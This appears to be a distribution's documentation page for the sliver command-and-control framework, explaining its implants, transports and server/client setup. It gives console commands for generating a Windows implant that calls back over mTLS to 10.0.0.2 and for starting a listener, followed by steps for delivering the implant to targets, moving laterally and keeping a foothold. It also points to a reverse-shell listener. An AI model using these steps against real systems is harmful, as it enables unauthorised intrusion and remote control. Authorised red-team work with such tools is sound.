Post Exploitation

sliver

sliver is a modern C2 — the open-source framework a lot of teams reached for as the older ones aged. You generate implants (“sessions” and quieter “beacons”) for Windows, Linux, or macOS, deliver them to compromised hosts, and manage them all from a central server: run commands, move files, pivot through the network, and orchestrate a whole engagement. It speaks multiple transports (mTLS, HTTP(S), DNS, WireGuard), supports multiplayer operation for teams, and is scriptable — a capable, actively maintained platform for the manage-your-access phase.

Installed from the AUR; Security → Post Exploitation → sliver. It’s a client/server framework — running it is the point — so Oniomarchy starts it directly. The package ships sliver-server (the C2 server and its console) and sliver-client (for connecting to a server as an operator).

Using it

1. Start the server (sliver-server). On first run it sets up its own database and certificates, then drops you into its console.
2. Generate an implant for the target platform:

   sliver > generate --mtls 10.0.0.2 --os windows --save /tmp/

3. Start a listener to catch it:

   sliver > mtls

4. Deliver and run the implant on the target; the session appears in the console.
5. Interact with a session (use <id>) to run commands, move laterally, and manage your foothold. help lists the full command set.

For a quick single shell rather than a full C2, the reverse-shell listener in the Trigger menu is faster.